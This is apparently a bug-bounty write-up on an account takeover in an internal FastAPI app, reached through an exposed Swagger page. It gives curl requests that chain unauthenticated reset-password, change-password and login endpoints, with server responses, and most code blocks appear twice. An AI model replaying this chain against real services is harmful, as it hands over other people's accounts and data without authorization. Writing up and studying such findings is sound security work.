How I Took Over Any Employee Account With Just a Username

How It Started

I was hunting on a private Bugcrowd program and came across a subdomain, something like fst.example.com.

Out of habit, I checked for /docs on it that's the default path for Swagger on FastAPI apps.

It was exposed, no authentication needed to view it.

The Interesting One: Reset Password

Going through the Swagger schema, one route caught my eye:

POST /api/v1/auth/reset-password

POST /api/v1/auth/reset-password

Looking at the request body, it only asked for one field: username. Let's test it.

I needed a username to test with, and I had one on hand: from an open registration bug I'd already found on this same internal subdomain. Anyone from the internet could register and log in to an internal subdomain that exposed sensitive employee data and their daily tasks. I reported that separately and it landed as a P3. So I used that test account's username here.

I sent the request:

curl -s -X POST "https://fst.example.com/api/v1/auth/reset-password" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest"}'

curl -s -X POST "https://fst.example.com/api/v1/auth/reset-password" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest"}'

200 OK, and this in the body:

{"message":"Password has been reset to default: 123456"}

{"message":"Password has been reset to default: 123456"}

I just sat there for a second. No token, no cookie just a username in the body and the server handed me back a working password, 123456, for that account. That response was the confirmation: the endpoint was completely unauthenticated, and I only knew that for certain now.

I confirmed it by logging in with that default password:

curl -s -X POST "https://fst.example.com/api/v1/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest","password":"123456"}'
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "token_type": "bearer"
}

curl -s -X POST "https://fst.example.com/api/v1/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest","password":"123456"}'
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "token_type": "bearer"
}

It worked. A valid session token, for an account I never had credentials for, obtained with zero authentication at any step. The original password stopped working the moment the reset endpoint touched it.

So already, with nothing but this one unauthenticated request, I could take over any account on the platform just by knowing its username.

It Chains: Change Password Has the Same Problem

Resetting to a known default is already a full takeover on its own, but I also tested the sibling route, change-password and it had the exact same issue: no authentication of any kind required.

curl -s -X POST "https://fst.example.com/api/v1/auth/change-password" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest","old_password":"123456","new_password":"AttackerChosen123!"}'
{"message":"Password changed successfully"}

curl -s -X POST "https://fst.example.com/api/v1/auth/change-password" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest","old_password":"123456","new_password":"AttackerChosen123!"}'
{"message":"Password changed successfully"}

Chaining the two together means the attacker doesn't have to rely on the known default value they can immediately overwrite it with a password only they know, in three requests total, none of them authenticated:

# 1. Force the target's password to the known default
curl -s -X POST "https://fst.example.com/api/v1/auth/reset-password" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest"}'
# → {"message":"Password has been reset to default: 123456"}
# 2. Overwrite it with something only the attacker knows
curl -s -X POST "https://fst.example.com/api/v1/auth/change-password" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest","old_password":"123456","new_password":"AttackerChosen123!"}'
# → {"message":"Password changed successfully"}
# 3. Log in as them
curl -s -X POST "https://fst.example.com/api/v1/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest","password":"AttackerChosen123!"}'
# → 200 OK, valid access_token

# 1. Force the target's password to the known default
curl -s -X POST "https://fst.example.com/api/v1/auth/reset-password" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest"}'
# → {"message":"Password has been reset to default: 123456"}
# 2. Overwrite it with something only the attacker knows
curl -s -X POST "https://fst.example.com/api/v1/auth/change-password" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest","old_password":"123456","new_password":"AttackerChosen123!"}'
# → {"message":"Password changed successfully"}
# 3. Log in as them
curl -s -X POST "https://fst.example.com/api/v1/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"ysectest","password":"AttackerChosen123!"}'
# → 200 OK, valid access_token

The real owner's original password is gone. They have no way back into their own account, since both the reset and the overwrite happened without ever touching them.

Impact

• Unauthenticated, zero-click account takeover of any of the 61 platform accounts
• Read/write access to internal tasks and data under a stolen employee identity
• Exposure of sensitive internal records tied to real employees